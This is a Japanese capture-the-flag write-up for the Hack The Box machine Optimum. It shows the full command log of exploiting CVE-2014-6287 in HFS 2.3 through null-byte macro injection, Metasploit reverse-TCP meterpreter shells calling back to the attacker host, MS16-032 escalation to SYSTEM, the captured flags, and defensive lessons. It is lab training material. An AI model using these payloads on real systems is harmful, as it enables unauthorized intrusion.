Hack The BoxのWriteup(Optimum)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Optimum — 全実行コマンド・実行結果レポート
Nmap スキャン
80(HFS 2.3)のみ
→
CVE-2014-6287
%00 null byte フィルタ回避
→
{.save|.exec|.} マクロ注入
VBSダウンローダ経由RCE
→
OPTIMUM\kostas シェル
user.txt ✓
→
MS16-032
Secondary Logon Handle 特権昇格
→
NT AUTHORITY\SYSTEM
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.83.249
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-title: HFS /
|_http-server-header: HFS 2.3
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
開いているのは80番のみ。Rejetto HttpFileServer (HFS) 2.3は 2014年に公開された重大なリモートコード実行脆弱性 CVE-2014-6287 の対象バージョンであり、 Server: HFS 2.3のヘッダーだけで攻略方針が確定する。

Webページの確認

BASH
curl -s -i http://10.129.83.249/
RESULT
HTTP/1.1 200 OK
Content-Type: text/html
Server: HFS 2.3
Set-Cookie: HFS_SID=0.343190514715388; path=/;

<title>HFS /</title>
...
<a href="http://www.rejetto.com/hfs/">HttpFileServer 2.3</a>
PHASE 2

CVE-2014-6287 の解析 — %00 フィルタバイパス

脆弱性の仕組み

NOTE
HFS 2.3 は "search" パラメータの処理に ParserLib.pas の甘い正規表現フィルタを
使っており、検索文字列中に直接 ".exec" 等の危険なキーワードが含まれる場合は
弾くが、文字列先頭に URLエンコードされた NULLバイト(%00)を1つ付与するだけで
このフィルタを回避できる。フィルタ通過後、HFSのテンプレートエンジンは
{.コマンド|引数.} というマクロ構文をVFS(仮想ファイルシステム)の一部として
評価してしまうため、"exec" マクロで任意のシェルコマンドを、"save" マクロで
任意のファイル書き込みを実現できる。

  /?search=%00{.exec|CMD.}              ← CMDをサーバー上で実行(出力は返らない)
  /?search=%00{.save|PATH|CONTENT.}     ← CONTENTをPATHへ書き込み
🚨
.execマクロは標準出力をHTTPレスポンスへ戻さないため、 公開Exploit(Metasploitモジュール含む)はこれを2段階で使う: ①.saveマクロで外部からVBSダウンローダスクリプトを %TEMP%へ書き込み、②.execマクロで wscript.exeによりそのVBSを実行させる。VBSは攻撃者サーバーから 実ペイロード(EXEまたはVBSコード)を取得して実行する。
PHASE 3

Metasploit rejetto_hfs_exec によるRCE & user.txt

エクスプロイトモジュールの設定

BASH (msfconsole)
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.129.83.249
set TARGETURI /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4521
exploit -j
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4521
[*] Using URL: http://10.10.15.200:8080/unEdw6k0S
[*] Server started.
[*] Sending a malicious request to /
[*] Payload request received: /unEdw6k0S
[*] Sending stage (190534 bytes) to 10.129.83.249
[!] Tried to delete %TEMP%\UYMDJZKZ.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.15.200:4521 -> 10.129.83.249:49183)
[*] Server stopped.
✅
モジュールは内部で前述の2段階マクロ注入(.save→.exec)を 自動的に実行し、生成したVBSダウンローダが一時HTTPサーバーからmeterpreter ペイロードを取得・実行することでシェルを確立する。

セッション確認

BASH
sessions -l
RESULT
  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x86/windows  OPTIMUM\kostas @ OPTIMUM
ℹ️
HFSサービスはkostasユーザーのコンテキストで動作しており、 その権限でのシェルをそのまま取得できる。

user.txt取得

API (msfconsole内Ruby, meterpreterのfs.file API経由)
framework.sessions.get(1).fs.file.open('C:\Users\kostas\Desktop\user.txt').read
RESULT
4bda69bc0e70d8d0b60251d8528bf4ae
user.txt — kostas@OPTIMUM
4bda69bc0e70d8d0b60251d8528bf4ae
⚠️
注意: meterpreterセッションに対してsessions -i N -c "cat PATH" を使うと stdapi_sys_process_execute: Operation failedで失敗する — これは-cオプションがOSのプロセスとしてコマンドを実行しようとする 仕組み(shellセッション向け)であり、meterpreterセッションには別途 fs.file.open(path).readのようなmeterpreter専用APIを使う必要がある。
PHASE 4

MS16-032 で SYSTEM 昇格 & root.txt

ms16_032_secondary_logon_handle_privesc 実行

BASH (msfconsole)
use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4522
exploit -j
RESULT
[!] Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell
[*] Writing payload file, C:\Users\kostas\AppData\Local\Temp\...ps1...
[*] Executing exploit script...
	 __ __ ___ ___   ___     ___ ___ ___
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	               [by b33f -> @FuzzySec]

[?] Operating system core count: 2
[>] Duplicating CreateProcessWithLogonW handle
[?] Thread belongs to: svchost
[+] Thread suspended
[>] Building SYSTEM impersonation token
[!] NtImpersonateThread failed, exiting..
[+] Thread resumed!

[*] Sniffing out SYSTEM shell..
[>] Starting token race
[>] Starting process race
[!] Holy handle leak Batman, we have a SYSTEM shell!!

[+] Executed on target machine.
[*] Meterpreter session 2 opened (10.10.15.200:4522 -> 10.129.83.249:49184)
🚨
CVE-2016-0099 (MS16-032): Windowsの「セカンダリログオンサービス」が CreateProcessWithLogonW経由で生成する特権プロセスのハンドルを、 呼び出し元の通常ユーザープロセスが不適切に継承できてしまう脆弱性。 svchost.exeのスレッドを横取り(インパーソネーション)してSYSTEMトークンの 複製を試みる — ここでは最初の手法(NtImpersonateThread)は失敗しているが、 代替の「トークンレース」手法が成功し、最終的にSYSTEM権限の 新規meterpreterセッションを確立できている(スクリプト自体に複数の フォールバック手法が組み込まれている)。

SYSTEM昇格の確認

BASH
sessions -l
RESULT
  Id  Name  Type                     Information
  --  ----  ----                     -----------
  1         meterpreter x86/windows  OPTIMUM\kostas @ OPTIMUM
  2         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ OPTIMUM

root.txt取得

API (msfconsole内Ruby, meterpreterのfs.file API経由)
framework.sessions.get(2).fs.file.open('C:\Users\Administrator\Desktop\root.txt').read
RESULT
b99eed2af48d496cbb4ab6abbfe9cba3
root.txt — Administrator@OPTIMUM
b99eed2af48d496cbb4ab6abbfe9cba3
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — kostas@OPTIMUM
4bda69bc0e70d8d0b60251d8528bf4ae
root.txt — Administrator@OPTIMUM
b99eed2af48d496cbb4ab6abbfe9cba3

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2014-6287 Rejetto HttpFileServer 2.3 (ParserLib.pas) 未認証リモートコード実行 Critical searchパラメータの先頭に%00を付与しキーワードフィルタをバイパス、 {.save|.exec|.}マクロでVBSダウンローダを配置・実行し user.txtを取得可能なkostasシェルを獲得
CVE-2016-0099 (MS16-032) Windows Secondary Logon Service 一般ユーザー権限からのSYSTEM昇格 Critical CreateProcessWithLogonWが生成する特権プロセスのハンドル継承不備を 突くトークンレースで、root.txt取得可能な NT AUTHORITY\SYSTEMシェルを獲得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(80) + HTTPヘッダー確認HFS 2.3 検出
2脆弱性解析%00バイパス + {.save|.exec|.}マクロ2段階RCE手法の理解
3フットホールドrejetto_hfs_execuser.txt(kostasシェル)
4権限昇格ms16_032_secondary_logon_handle_privescroot.txt(SYSTEMシェル)

学んだ教訓 & 防御策

問題点防御策
2014年公開の既知脆弱性(CVE-2014-6287)が未パッチのまま稼働している Rejetto HFSは開発終了・非推奨のソフトウェアであり使用を中止する。 どうしても必要な場合は最新のフォーク版(HFS~)への移行やWAFでの search パラメータのNULLバイトフィルタリングを検討する。
検索機能のテンプレートエンジンがマクロ構文({.cmd|arg.})を ユーザー入力から直接評価してしまう設計 テンプレートエンジンの評価対象とユーザー入力を完全に分離する (サニタイズではなく構造的分離)。危険なマクロ(exec/save等)は 認証済み管理者操作からのみ呼び出し可能にする。
2016年公開のWindowsカーネル脆弱性(MS16-032)が未パッチ Windows Updateを定期的に適用し、特にセカンダリログオンサービス等 特権分離の核となるコンポーネントのパッチは優先的に適用する。 一般ユーザーアカウントには最小権限のみ付与する。
HackTheBox: Optimum | 完全攻略レポート